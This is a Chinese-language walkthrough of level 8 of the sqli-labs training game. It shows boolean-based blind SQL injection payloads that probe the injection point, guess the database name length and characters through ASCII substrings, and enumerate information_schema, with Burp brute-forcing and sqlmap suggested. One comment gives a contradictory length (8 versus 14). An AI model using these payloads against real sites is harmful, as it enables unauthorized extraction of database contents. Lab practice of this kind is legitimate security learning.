以sqli-labs-master 闯关游戏第八关为例:
第一步:判断注入点
?id=1' and 1=2-- - //页面显示异常
?id=1' and 1=1-- - //页面正常显示

第二步:判断是什么类型的注入点
构建报错语句:
?id=1' and updatexml(1,0x7e,1)-- -

页面无显示,那就不是报错注入:
那就判断是不是布尔注入,首先判断布尔注入要先判断他的长度:
准备语句:?id=1' and length(database())=8-- -
页面有显示,那就证明是布尔注入点且数据库的长度是8

爆库名表名
猜测数据库的基本信息的长度:
and length(database())=8 -- - //页面正常显示,表示长度就是14
and length(database())=7 -- - //页面空显示,表示错误
可以使用bp进行爆破,爆破数字7
截取数据库名的第一个字母:
and ascii(substr(database(),1,1))=8 -- - //第一个字符开始截取,截取一个长度
使用bp爆破数字
再将爆破的数字,用ascii码 编码转换器,解码成对应的字母
判断mysql中数据库的数量:
and (select count(*) from information_schema.schemata)=1 -- -
使用bp爆破数字,得出正确的长度
判断第一个数据库名的长度:
and (select length(schema_name) from information_schema.schemata limit 0,1)=1-- -
使用爆破数字,得到正确的长度
判断第一个数据库名的第一个字符:
and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=1-- -
解释:limit 0,1第一个库名 后面的1,1:截取库名的第一个字母 ————1,1表示:第一个字符向后截取一个长度
由于布尔注入的繁琐性:
推荐使用工具sqlmap:
本文以sqli-labs游戏第八关为例,详细介绍了如何通过实验判断SQL注入点的存在,确定其类型,并逐步爆破数据库信息的过程。从判断注入点到爆破数据库名、表名,再到使用SQLmap工具简化操作,全面解析了SQL注入攻击的技术细节。

3736

被折叠的 条评论
为什么被折叠?



